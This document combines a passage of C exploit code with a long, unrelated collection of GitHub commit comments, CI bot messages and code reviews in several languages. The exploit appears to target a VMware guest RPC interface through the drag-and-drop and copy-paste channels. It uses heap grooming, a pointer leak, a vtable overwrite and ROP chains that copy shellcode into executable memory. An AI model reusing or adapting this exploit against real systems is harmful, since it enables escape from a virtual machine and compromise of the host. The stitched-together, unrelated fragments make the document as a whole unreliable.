	tmpchunk->windowid = htonl(0xdeadbeef);
	tmpchunk->chunkid = htonl(GlobalChunkid);
	GlobalChunkid++;
	tmpchunk->unknow = 2;
	tmpchunk->payloadSize = htonl(8);

	strcpy_s(tmp, "unity.window.contents.chunk ");
	totallen = strlen(tmp);
	memcpy(tmp + totallen, tmpchunk, sizeof winchunk);
	totallen += sizeof winchunk;

	if (!rpcsend(tmp, totallen, &myReply, &myRepLen))
	{
		puts((char*)myReply);
		delete tmpchunk;
		return FALSE;
	}
	delete tmpchunk;
	return TRUE;
}

BOOL SetPayload(char *payload, size_t inlen)
{
	for (int i = 0; i < inlen;i+=8)
	{
		if (!SetPayloadQword(payload + i))
		{
			return FALSE;
		}
	}
	return TRUE;
}

BOOL SetGlobalPointer(__int64 gadget)
{
	unsigned char *myReply = 0;
	size_t myRepLen;

	u_long low = gadget & 0xffffffff, nlow = 0;
	u_long high = (gadget >> 32), nhigh = 0;;

	nlow = htonl(low);
	nhigh = htonl(high);

	char tmp[0x100];
	RtlSecureZeroMemory(tmp, 0x100);

	memcpy(tmp, "unity.window.contents.start \x00\x00\x00\x01\x00\x00\x00\x01\xde\xad\xbe\xef",40);
	memcpy(tmp + 40, &nlow, 4);
	memcpy(tmp + 44, &nhigh, 4);
	memcpy(tmp + 48, "\x00\x00\x02\x00", 4);

	if (!rpcsend(tmp, 52, &myReply, &myRepLen))
	{
		puts((char*)myReply);
		return FALSE;
	}
	return TRUE;
}
int findvuln(int totalbuf)
{
	unsigned char *myReply = 0;
	size_t myRepLen;

	for (int x = totalbuf; x; x--)
	{
		char tmp[0x100] = { 0 };

		sprintf_s(tmp, "info-get guestinfo.test%d", x);

		if (!rpcsendstr(tmp, &myReply, &myRepLen))
		{
			puts((char*)myReply);
			puts("Error8");
			return -1;
		}

		if (strchr((char*)myReply, 'e'))
		{
		//	printf("buffer first 8 bytes:%x,%x,%x,%x,%x,%x,%x,%x\n", myReply[0], myReply[1], myReply[2], myReply[3], myReply[4], myReply[5], myReply[6], myReply[7]);
			return x;
		}
	}
	return -1;
}

void main(int argc,char**argv)
{
	__try {
		unsigned char *myReply=0;
		size_t myRepLen;
// 		puts("wait 5s...");
// 		Sleep(5000);
		if (rpcstart())
		{
			puts("Setting current DnD version to 3...");
			if (!rpcsend("tools.capability.dnd_version 3",31,&myReply,&myRepLen))
			{
				puts((char*)myReply);
				puts("Error1");
				__leave;
			}
			if (!rpcsend("tools.capability.copypaste_version 3", 37, &myReply, &myRepLen))
			{
				puts((char*)myReply);
				puts("Error2");
				__leave;
			}
			puts("Creating some buffer...");

			for (int x = 0; x < 128;x++)
			{
				char tmp[0x100] = { 0 };
				char ttmp[0xa8] = { 0 };
				size_t tmplen = 0;
				memset(ttmp, '1', 0xa0);

				sprintf_s(tmp, "info-set guestinfo.test%d ", x);
				tmplen = strlen(tmp);
				memcpy(tmp + tmplen, ttmp, 0xa0);
				tmplen += 0x9f;

				if (!rpcsend(tmp, tmplen, &myReply, &myRepLen))
				{
					puts((char*)myReply);
					puts("Error5");
					__leave;
				}

			}

			for (int x = 128; x < 256; x++)
			{
				char tmp[0x100] = { 0 };
				char ttmp[0xa8] = { 0 };
				size_t tmplen = 0;
				memset(ttmp, '2', 0x90);

				sprintf_s(tmp, "info-set guestinfo.test%d ", x);
				tmplen = strlen(tmp);
				memcpy(tmp + tmplen, ttmp, 0x90);
				tmplen += 0x8f;

				if (!rpcsend(tmp, tmplen, &myReply, &myRepLen))
				{
					puts((char*)myReply);
					puts("Error6");
					__leave;
				}
			}

			for (int x = 256; x < 265; x++)
			{
				char tmp[0x100] = { 0 };
				char ttmp[0xa8] = { 0 };
				size_t tmplen = 0;
				memset(ttmp, '3', 0xa8);

				sprintf_s(tmp, "info-set guestinfo.test%d ", x);
				tmplen = strlen(tmp);
				memcpy(tmp + tmplen, ttmp, 0xa8);
				tmplen += 0xa7;

				if (!rpcsend(tmp, tmplen, &myReply, &myRepLen))
				{
					puts((char*)myReply);
					puts("Error7");
					__leave;
				}
			}
			if (!rpcsend("vmx.capability.dnd_version", 26, &myReply, &myRepLen))
			{
				puts((char*)myReply);
				puts("Error3");
				__leave;
			}
			printf("Current DnD Version %s\n", myReply);
			if (!rpcsend("vmx.capability.copypaste_version", 32, &myReply, &myRepLen))
			{
				puts((char*)myReply);
				puts("Error4");
				__leave;
			}
			printf("Current C&P Version %s\n", myReply);

			puts("Creating vuln buffer...");

			char testbuf[0xb0] = { 0 };

			int currentpos = 0;

			lstrcpyA(testbuf, "This is a test2");
			memset(testbuf + strlen(testbuf), 't', 0x60 - strlen(testbuf));
			DnDSendPacket(testbuf, 0x60, 0x41414141, 0xa8, currentpos);

			currentpos += 0x60;

			for (int x = 265; x < 300; x++)
			{
				char tmp[0x100] = { 0 };
				char ttmp[0xa8] = { 0 };
				size_t tmplen = 0;
				memset(ttmp, '4', 0xa8);

				sprintf_s(tmp, "info-set guestinfo.test%d ", x);
				tmplen = strlen(tmp);
				memcpy(tmp + tmplen, ttmp, 0xa8);
				tmplen += 0xa7;

				if (!rpcsend(tmp, tmplen, &myReply, &myRepLen))
				{
					puts((char*)myReply);
					puts("Error7");
					__leave;
				}
			}

			RtlSecureZeroMemory(testbuf, 0xb0);
			lstrcpyA(testbuf, "exploit test buffer");

			memset(testbuf + strlen(testbuf), 'e', 0x58 - strlen(testbuf));
			DnDSendPacket(testbuf, 0x58, 0x41414141, 0x200, currentpos);
			currentpos += 0x58;

			int failtime = 0,vulnid=-1;

			while (failtime<50)
			{
				vulnid = findvuln(299);

				if (vulnid == -1)
				{
					failtime++;
					printf("Fail to find target buffer...try %d\n", failtime);
					memset(testbuf, 'e', 0xb0);
					DnDSendPacket(testbuf, 0xb0, 0x41414141, 0x1000+currentpos, currentpos);
					currentpos += 0xb0;
				}
				else
				{
					printf("Got vuln buffer %d\n", vulnid);
					break;
				}
			}

			if (vulnid==-1)
			{
				puts("Vuln buffer not found!");
			}
			else
			{
				// got vuln buffer
				// go leak!
				DnDSendPacket(testbuf, 0xa8, 0x41414141, 0x1000, currentpos);
				currentpos += 0xa8;

				failtime = 0;
				uint64 obj=0;

				char tmp[0x100] = { 0 };
				sprintf_s(tmp, "info-get guestinfo.test%d", vulnid);

				RtlSecureZeroMemory(testbuf, 0xb0);
				memset(testbuf, '5', 0xb0);

				while (failtime<50)
				{

					if (!rpcsendstr(tmp, &myReply, &myRepLen))
					{
						puts((char*)myReply);
						puts("Error9");
					}
			//		printf("Try %d,last 8 bytes:%x,%x,%x,%x,%x,%x,%x,%x\n", failtime, myReply[myRepLen], myReply[myRepLen - 1], myReply[myRepLen - 2], myReply[myRepLen - 3], myReply[myRepLen - 4], myReply[myRepLen - 5], myReply[myRepLen - 6], myReply[myRepLen - 7]);
					char *leak = (char*)memchr((void*)myReply, '\x7f',myRepLen);
					if (leak)
					{
						// found a leak.
						memcpy(&obj, leak -5, 6);
						printf("Got leaked pointer 0x%llx\n", obj);
						break;
					}
					else
					{
						failtime++;
					}
					DnDSendPacket(testbuf, 0xb0, 0x41414141, 0x1000 + currentpos, currentpos);
					currentpos += 0xb0;
				}

				if (obj)
				{
					// overwrite vtable
					char payload[0x300];
					RtlSecureZeroMemory(payload, 0x300);

					uint64 baseaddr = 0, tmp = obj & 0xfff, gadget = 0;

					//printf("%llx\n", tmp);
					if (tmp==0x5d0) //CnP
					{
						baseaddr = obj - 0x7a75d0;
						printf("Got base addr :0x%llx\n", baseaddr);
						gadget = baseaddr + 0x33700;
						uint64 pGadget = baseaddr + 0xb87100, gadget2 = baseaddr + 0x41dc2;
						uint64 *ppayload = (uint64*)payload;
						memcpy(payload, &pGadget, 8);
						// rop here..!
						uint64 rwxmem = baseaddr + 0x00b309a0;
						ppayload[1] = baseaddr + 0x4d7b20; // add rsp,0xa0;pop;ret
						ppayload += 23;
						*ppayload++ = baseaddr + 0x061553;//pop rcx
						*ppayload++ = rwxmem;
						*ppayload++ = baseaddr + 0x129b9b; //mov eax, esp ; add rsp, 0x20 ; pop r12 ; ret
						ppayload += 5;
						*ppayload++ = baseaddr + 0x61e2cd; //add rax, 0x34 ; ret
						*ppayload++ = baseaddr + 0x61e2cd; //add rax, 0x34 ; ret
						*ppayload++ = baseaddr + 0x033d72;//pop r8
						*ppayload++ = 0x200;
						*ppayload++ = baseaddr + 0x562e90;// mov edx, eax ; cmp edx, 0x11 ; je 0x140562ea3 ; xor al, al ; ret
						*ppayload++ = baseaddr + 0x14e5b;//pop rax
						*ppayload++ = baseaddr + 0x75e358;//memcpy
						*ppayload++ = baseaddr + 0x0fd823; //mov rax, qword ptr [rax] ; ret
						*ppayload++ = baseaddr + 0x08ded; //jmp rax
						*ppayload++ = rwxmem + 0x10;
						memcpy((char*)ppayload, shellcode, sizeof shellcode);
						memcpy(payload + 0xa0, &gadget2, 8);

						if (!SetGlobalPointer(gadget))
						{
							puts("Error11");
							__leave;
						}
					}
					else if (tmp==0x880) //DnD
					{
						baseaddr = obj - 0x7a7880;
						printf("Got base addr :0x%llx\n", baseaddr);
						gadget = baseaddr + 0x33700;
						__int64 Stackpiovt_Gadget = baseaddr + 0x11b2d, p2payload = baseaddr + 0xb87118;
						uint64 *ppayload = (uint64*)payload;

						char tmpbuffer[0x18] = { 0 };

						memcpy(tmpbuffer + 0x10, &Stackpiovt_Gadget, 8);

						if (!SetGlobalPointer(gadget))
						{
							puts("Error11");
							__leave;
						}

						if (!SetPayload(tmpbuffer, 0x18))
						{
							puts("Error12");
							__leave;
						}

						memcpy(payload + 0x38, &p2payload, 8);

						uint64 rwxmem = baseaddr + 0x00b309a0;
						ppayload += 9;
						*ppayload++ = baseaddr + 0x061553;//pop rcx
						*ppayload++ = rwxmem;
						*ppayload++ = baseaddr + 0x53d4a8; //mov eax, esp ; add rsp, 0x30 ; pop r12 ; ret
						ppayload += 7;
						*ppayload++ = baseaddr + 0x61e2cd; //add rax, 0x34 ; ret
						*ppayload++ = baseaddr + 0x61e2cd; //add rax, 0x34 ; ret
						*ppayload++ = baseaddr + 0x033d72;//pop r8
						*ppayload++ = 0x200;
						*ppayload++ = baseaddr + 0x562e90;// mov edx, eax ; cmp edx, 0x11 ; je 0x140562ea3 ; xor al, al ; ret
						*ppayload++ = baseaddr + 0x14e5b;//pop rax
						*ppayload++ = baseaddr + 0x75e358;//memcpy
						*ppayload++ = baseaddr + 0x0fd823; //mov rax, qword ptr [rax] ; ret
						*ppayload++ = baseaddr + 0x08ded; //jmp rax
						*ppayload++ = rwxmem + 0x20;
						memcpy((char*)ppayload, shellcode, sizeof shellcode);
					}
					else
					{
						puts("Error in leak");
						__leave;
					}

					DnDSendPacket(payload, 0x300, 0x41414141, 0x1000 + currentpos, currentpos);
					currentpos += 0x300;

				}
			}

			puts("Done!");
			setver4();
		}
		else
		{
			puts("RPC Start Error!");
		}
	}
	__except (GetExceptionInformation() ?
	EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
		fprintf(stderr, "Not vm error");
	}
}


The last field of `NtpClientSettings` is a function, therefore it was excluded from the `Eq` instance.


Aliasing failed with the following error:

~~~
Error! Instance verification timed out (3m)
~~~


"I'm also not sure why you need such an interface in the first place. Are you planning on having different types that implement it?" - created this interface so it wire up in other mechanisms. Let's say somebody decides to implement some other concrete and don't touch my Cell (or whatever else it might be after rename) and Cell's types.
i.e. Cell.ALIVE; Cell.EMPTY; Bomb.DETONATED, then could be not an enum, but some regular class which implements that, that some might have sub-types. Well, I think I thought at that time and still think, that currently I'm happy with the design here and if something would limit me, would think how could change, but current simplicity and flexibility to some extend satisfies me.


> I think if the defining characteristic of this estimator is how it does incremental search

Also, is this the case?  I'm not sure there is any defining characteristic here.


I'm so confused about most of changes you‘ve made in this commit. Especially the ellipsis and parentheses.
In Chinese, ellipsis are used with 6 dots, and parentheses are used with full-width characters.
I have correct them before, but why do you change them back again?


lib64/libsdm-disp-vndapis.so - 32х битная либа. Проверь logcat.


switch case문으로 하는 방법도 좋을 것 같네요.
n == 12인 경우에는 printf("0");을 해줘도 될 것 같구요


Ah, why Cell? I stick to an automaton domain names for the moment, but you are right, that pushes me to a corner in some cases. Already did when I had Cell.DEAD, which really conflicted with an idea of empty world. So got rid of DEAD and moved to EMPTY, which also lies better with an idea when there is population in a world (meaning when it is not empty and NOT when everybody dead).


Does Python allow multi-line comments like this? I thought not?


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


Interesting how everyone minds work differently. Your thoughts and comments Stephan are of huge help - thanks!


fix #54


Please, make sure you have `blank-at-eol` and/or `trailing-space` set for
`core.whitespace` configuration variable of git, so that you can check
(e.g., `git show` if `color.diff.whitespace` is also suitably configured) you
are not introducing new white space issues.


This line should end with a plus sign instead of comma


№13. Почему ты называешь все свои функции в разных стилях? Используй свой стиль (но один).

Мой стиль, например, таков:
- Глобальные функции с большой кэмел-кейсом: StackPush().
- Переменные с маленькой кэмел-кейсом: stk
- Глобальные константы алл-капсом: STACK_RESIZE_RATIO


Checkmarx scan results 12 Oct 2018 16:57 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
1
1
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

2ef5568b195788f42508549b32cf903d8a6c53ee	@web-flow

fe0abb8c76cb0c0a1c8bf546715d20559ff4541b	@web-flow


Sorry for being a complainer, but the name of this function still doesn't seem right to me. You pass it a function that presumably describes the future object that will take the place of this object in the next generation. The name `regenerate` implies returning the current object to a state it formerly had, maybe before it lost it (for instance, becoming alive after going dead).

If you really think you need this interface, which I'm not sure of, something like `Evolvable` with a method named `evolve` makes more sense to me.


Gorgighoussenois


We won't be able to convert to this until the name change is published to npm, let's hold off on changing this.


IBM Cloud [toolchain](https://console.bluemix.net/devops/toolchains/3c790998-4c22-4b97-bc2a-7f2a33ea90fe?env_id=ibm%3Ayp%3Aeu-gb "dbradar"): [Delivery Pipeline](https://console.bluemix.net/devops/pipelines/f0ba471f-d29d-4315-9673-8690e45044da?env_id=ibm%3Ayp%3Aeu-gb "dbradar") deployed [dbradar](https://github.com/alcarriaIBMgts/dbradar/releases/tag/deploy-ibm-yp-eu-gb-angelalcarria-dev-20181012-135812 "deploy-ibm-yp-eu-gb-angelalcarria-dev-20181012-135812") to [dev](https://console.bluemix.net/apps/41dfeb59-5d62-4e37-aac8-87138b7a4493?env_id=ibm:yp:eu-gb "ibm:yp:eu-gb:angelalcarria:dev"), including this commit


how disable it????????????????


№14 Немного оверкилльные комментарии.


№15.
Мелкое замечание по стилю: понятнее, когда инклюды твоих хедеров отдельно от инклюдов библиотечных хедеров.


Agreed! Had a similar feeling when was naming parameter as "Location distance" that something is out of sync here. Great advice.


№16.
По стилю: Это явно константа, применяй модификатор const. Это нужно, чтобы её было нельзя потом случайно изменить. И вообще, глобальные переменные (не константы) - зло, так как они вносят очень много сложности в программу.


Successfully aliased the URL <https://vital-ui-react-sjgfjnfizk.now.sh> to the following aliases.

* https://vital-ui-react.now.sh
* https://react.vitaluikit.com


Sorry, my earlier comment was missing a "not", which slightly change the meaning :) Should have read

> we should *not* be setting a default that just does the same as grid / random search.


+1 for the "view more button" :+1:


add amo mixer x4-x6 please


does this mean Concourse workers won't require root to run anymore?


№17. И твой пользователь каждый раз должен это писать? Перенеси аллокацию в функцию "initStack".


correct-not toshinou ultra-infiniti


Are you sure removing the availability check doesn't break the functionality? AFAICT, this now looks very much like it was in an early version of my implementation, that had sporadic cases where application layer data wasn't properly returned. Thus also my comment in the code.


№18. Добавь левые файлы в ".gitignore".


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


Hmm ... a gdyby tak  zapisać te dwie linijki ( 72 + 73) w jednej ?


Checkmarx scan results 12 Oct 2018 17:03 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
1
1
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

2d29fb95d2c8ad57c7ebe4e12513f0d313926daf	@web-flow

7fc3509be9bbd0e53754cb587a2fc96bcaf81c21	@web-flow


fixes #12


Niepotrzebny Comment


Obsługi tu już nie ma, tak jak rozmawialismy :)


Use helper method instead?
```java
Executors.newFixedThreadPool(2)
```


IBM Cloud [toolchain](https://console.bluemix.net/devops/toolchains/3c790998-4c22-4b97-bc2a-7f2a33ea90fe?env_id=ibm%3Ayp%3Aeu-gb "dbradar"): [Delivery Pipeline](https://console.bluemix.net/devops/pipelines/f0ba471f-d29d-4315-9673-8690e45044da?env_id=ibm%3Ayp%3Aeu-gb "dbradar") deployed [dbradar](https://github.com/alcarriaIBMgts/dbradar/releases/tag/deploy-ibm-yp-eu-gb-angelalcarria-dev-20181012-140512 "deploy-ibm-yp-eu-gb-angelalcarria-dev-20181012-140512") to [dev](https://console.bluemix.net/apps/41dfeb59-5d62-4e37-aac8-87138b7a4493?env_id=ibm:yp:eu-gb "ibm:yp:eu-gb:angelalcarria:dev"), including this commit


this could be deleted


I am till getting the same challenge especially after i had removed the
initial starter code. since then i haven't be able to progress with my
tutorial.
However, my target with meteor is to build an app that will be linked with
a data capturing device for resumption of duty for my school.

I will really appreciate if i could get the necessary steps to solving this
challenges

On Thu, Oct 11, 2018 at 5:11 PM Carlos Brandt <notifications@github.com>
wrote:

> Yes @mcbriandavids <https://github.com/mcbriandavids> , I got the same
> error. Since I'm new to the whole things (js, react, meteor) I cannot tell
> you the reason. But I can point you to the solution:
> https://forums.meteor.com/t/meteor-html-file-compilation-issue-uncaught-error-target-container-is-not-a-dom-element/44405
> . In particular, I've applied the last one import ./main.html in main.js.
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/meteor/simple-todos-react/commit/3f57957fe2f5797f651f2892374a99e626d97d72#commitcomment-30866961>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AoToaQlNgCwDfI2N8R91DMKx0R04dQSDks5uj23FgaJpZM4VQN8t>
> .
>


[R/box.R:17:1:](https://github.com/Appsilon/semantic.dashboard/blob/afca16c94035de5f811be1d4ee2d70946a45cdce/R/box.R#L17) *style:* **lines should not be more than 120 characters.**
```r
box <- function(..., title = NULL, color = "", ribbon = TRUE, title_side = "top right", collapsible = TRUE, width = 8, id = NULL) {
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/constants.R:83:50:](https://github.com/Appsilon/semantic.dashboard/blob/afca16c94035de5f811be1d4ee2d70946a45cdce/R/constants.R#L83) *style:* **Commas should never have a space before.**
```r
names(light_semantic_palette) <- c("lightPurple" , "lightGreen", "lightBlue", "lightRed",
                                                ~^
```
[R/semantic_dashboard.R:43:26:](https://github.com/Appsilon/semantic.dashboard/blob/afca16c94035de5f811be1d4ee2d70946a45cdce/R/semantic_dashboard.R#L43) *style:* **Use <-, not =, for assignment.**
```r
    logo_align_css_style = ifelse(logo_align == "center", "margin-left: auto;", "")
                         ^
```
[R/semantic_dashboard.R:47:1:](https://github.com/Appsilon/semantic.dashboard/blob/afca16c94035de5f811be1d4ee2d70946a45cdce/R/semantic_dashboard.R#L47) *style:* **lines should not be more than 120 characters.**
```r
               if (logo_path != "") shiny::tags$img(style = paste("height: 30px; margin: 5px;", logo_align_css_style), src = logo_path),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```


This commit makes the `notify/2` function public and it’s not needed. I think it should be kept private 🙂


Better to reuse existing exception in case it's an `IOException`:
```java
throw (e.getCause() instanceof IOException) ? (IOException) e.getCause() : new IOException(e);
```


Checkmarx scan results 12 Oct 2018 17:08 UTC +03:00

High
Medium
Low
Info

New
0
0
1
0

Recurrent
0
1
1
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

3ca159fcac9b564808e71333709c7ef39182eb98	@web-flow

0b113b39b40a631f14327b00b5f46720efee7f56	@web-flow


actually I am wondering why amp forks worker processes... shouldn't this just be in-process non-blocking IO?


Nie trzeba dodatkowej zmiennej lokalnej :) skoro face_fec jest wykorzystany tylko tu to można go zastąpić w 141


I have challenges with the replace of the starter cod. i keep getting error in my console. what am i not doing correctly


Niepotrzebny comment


Let's improve readability by extracting bodies of these `Callable`s into helper methods `flatGlobInternal(...)` and `globInternal(...)` and use them here to create `Callable`:
```java
Callable<FileStatus[]> flatGlobTask = () -> flatGlobInternal(...);
```


Dochodze do wniosku że takie kreski lepiej opakowywać :) mona dodać funkcję która przykrywa wywołanie i zawiera w nazwie co rysuje


Maybe use our own temp directory ? Or only if `tempnam()`  return false ?

According to php manual seems to work on some windows ?

>     Note: If PHP cannot create a file in the specified dir parameter, it falls back on the system default. On NTFS this also happens if the specified dir contains more than 65534 files.


Nazwy są nieco mylące ;/ trzeba pomyśleć nad innymi


In progress.  Going to get my metadata caught up with the repos so you have
verified freshest for when I cut a PR so this is "common".  Should be
shortly.

On Sat, Oct 6, 2018 at 4:48 PM 0x1 <notifications@github.com> wrote:

> Great, thanks! No rush.
>
> —
> You are receiving this because you commented.
> Reply to this email directly, view it on GitHub
> <https://github.com/madscientist42/meta-rtlwifi/commit/8779a606965db27c80d9b6472dd9e41188a25747#commitcomment-30798009>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AFRfCV3mCZHRcoxhalcJh3Yj1rauSvyjks5uiRclgaJpZM4XLQQM>
> .
>


**Related to taks** #9


To wygląda inaczej już ?


ohh this should be `\Amp\Promise\wait($pool->shutdown());`


Created multidev environment [d8-digital-stlawu#pr-3](https://dashboard.pantheon.io/sites/9f185cec-9c0b-4fcb-972f-9a5f2f6ed252#pr-3).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-3-d8-digital-stlawu.pantheonsite.io/)


Hi Please can anybody provide an example of how to attach an image in mdf4 file?


Yes, it's a good idea to have an interface if you're planning on having different enums or classes implementing it, so your core can interact with them uniformly. The problem is in the names that you're using. Consider the following:

"Detonated is an instance of a bomb".

Read that sentence and tell me whether `DETONATED` is the bomb itself, or whether it's the state of a bomb.


№БОЛЬ.

Советую переписать весь файл полностью с учётом моих скромных 17-ти наставлений,  а также посмотреть код у как минимум двух упомянутых мною чуваков.

И даже когда учтёшь ВСЕ эти советы, тебе ещё нужно будет серьёзно поработать:
- Поразмыслить о безопасности, впихнуть в стек пару канареек и хэш-функцию.
- Позаботиться об удобстве дебага, и написать дамп и свой ассерт.
- Запариться о надёжности стека, и фигануть юнит-тесты.
После этого всего ты подойдёшь и получишь ещё тонну советов. И это ещё на полтора вечера.

И пусть солнце бота светит тебе не в лицо, а в спину.
-___-


Może lepiej przenieść linijke niżej do wnętrza funkcji get_rotation_angle() ?


#NO TASK


That's a good point, I'll make the change!


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


Let's use `plainRtpParameters.preferIPv4 = Boolean(options.preferIPv4)` here.


Included part for sd card free space.


Yes, I know. It's probably also responsible for [bug 796875]( https://bugs.gnucash.org/show_bug.cgi?id=796875).


Closes #8 ...not 2


Can we move this `)` to the previous line?

```js
return this._createPlainRtpTransport(
  id, direction, plainRtpParameters, appData)
  .then((transport) => ...
```


sp


This is just an experiment. But I found out that eventually, an actual `Ref` get to choose whose UID should it store, `Chunk`'s or `Label`'s. The changes in this commit are completely unnecessary I think.
We actually only need two functions to make ref from chunk and another from Label. But since making an actual `Ref` only cares `shortname` and `RefType` which are contained in both items. So I think it's ok to let `Ref` structure stores `Label's` UID. And the Two functions should be like below:

`makeRef :: (HasLabel l, HasShortName l, Referable l) => l -> Sentence`
`makeRef r = mkRefFrmLbl $ r ^. getLabel`
`mkRefFrmLbl :: (HasShortName l, Referable l, HasUID l) => l -> Sentence`
`mkRefFrmLbl r = customRef r (r ^. shortname)`

Which leads to eventually every ref is made from `Label`. What do you think? @JacquesCarette


Good catch.


`File.fileSeparator`?


Let's remove this empty line before `else` please.


98-101行目は使用しているplugin managerに応じて使用するメソッドを切り替えている部分。
例えば99行目のunite#get_status_string()は

>unite#get_status_string()			 *unite#get_status_string()*
		Returns unite status string.  It is useful to customize the
		statusline.
(引用:https://github.com/Shougo/unite.vim/blob/master/doc/unite.txt )

と記載されているようにuniteのstatus状態をstringで返すメソッド。
ただharuto0はdeinを利用しているので必要のない行だと思ったので削除した。（調べたらdeinのstatusを返すメソッドありそうだけど割愛）

んで、今回直して欲しいのはdirctoryを表示して欲しいとのことなので、シンプルにコーディングしました。expandとか意味がわからなかったらvimを起動して

`:h expand`

とかで調べて見てください


Let's remote empty line please.


```
(defmacro init-without-keymap-parent
    (keymap &rest body)
  "\
Execute BODY without the parent keymap of keymap KEYMAP."
  (declare (debug  t)
           (indent defun))
  `(let* ((       keymap ,keymap)
          (parent-keymap (keymap-parent keymap)))
     (set-keymap-parent keymap nil)
     (unwind-protect
         (progn ,@body)
       (set-keymap-parent keymap parent-keymap)
       (init-assert (eq (keymap-parent keymap) parent-keymap)))))
;;
(defun init-clear-keymap
    (keymap &optional recursively-p)
  "\
Clear keymap KEYMAP.

If RECURSIVELY-P is non-nil, remove the parent keymap of keymap KEYMAP too.

Return nil."
  (if recursively-p
      (progn
        (setcdr keymap nil)
        (init-assert (null (keymap-parent keymap))))
    (init-without-keymap-parent keymap
      (setcdr keymap nil))))
```

The only reliable and consistent (across different packages) way that I found to clear keymaps is to do it after the package has loaded, i.e. in the `:config` section you would simply say:

```
(init-clear-keymap dired-mode-map)
```

to preserve the parent keymap or

```
(init-clear-keymap dired-mode-map 'recursively-p)
```

to wipe out everything completely.  Not all packages will respect the way you did it now (before it is loaded).


remove empty line


idem


@ged-odoo ping !
I renamed the branch to target 12.0 ([old commit here](https://github.com/odoo-dev/odoo/commit/8fc33e65db4fbc06810210255524efaba4f00b9e)).


chodzi o cały event stuck? czy o konkretną linijkę wewnątrz tego ifa?


Nice one! What do the colours differentiate?

Which information should be delivered to the user?
Which don't?


ну, я ж не слежу. если не менялось, то можно откатить.


O cały collide


ma być: self.velocity = (self.velocity + velocity).norm()


@jmilloy @mlshapiro FYI. This was tripping me up constantly.

I may want to make a small modification to this interface, but I'm avoiding these interfaces in the notebook examples.  Hopefully we can do away with them at some point if no one uses them?


Dokładnie :P


jump-return does not work correctly (installed in the range from 320 to 340 instead of 300) —infinitely jumps back and forth (it’s necessary to make it jump once — back and stop


`(make-keymap)` is also not a correct way to reset keymaps.  It should have rather been `(make-sparse-kemap)`.  `(make-keymap)` is only applicable for resetting `global-map`.


Successfully aliased the URL <https://devlinks-bot-pmxtsddzmb.now.sh> to the following alias.

* https://devlinks-bot.now.sh


@reinerh I disabled private-bin because for me it wasn't working (see issue #2160). In an attempt to further harden the profile I got overzealous and added private-tmp. That was a mistake. Glad you caught this, so instead of hoping I'd mind it is me who needs to thank you for correcting my mistake. Cheers :+1:


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


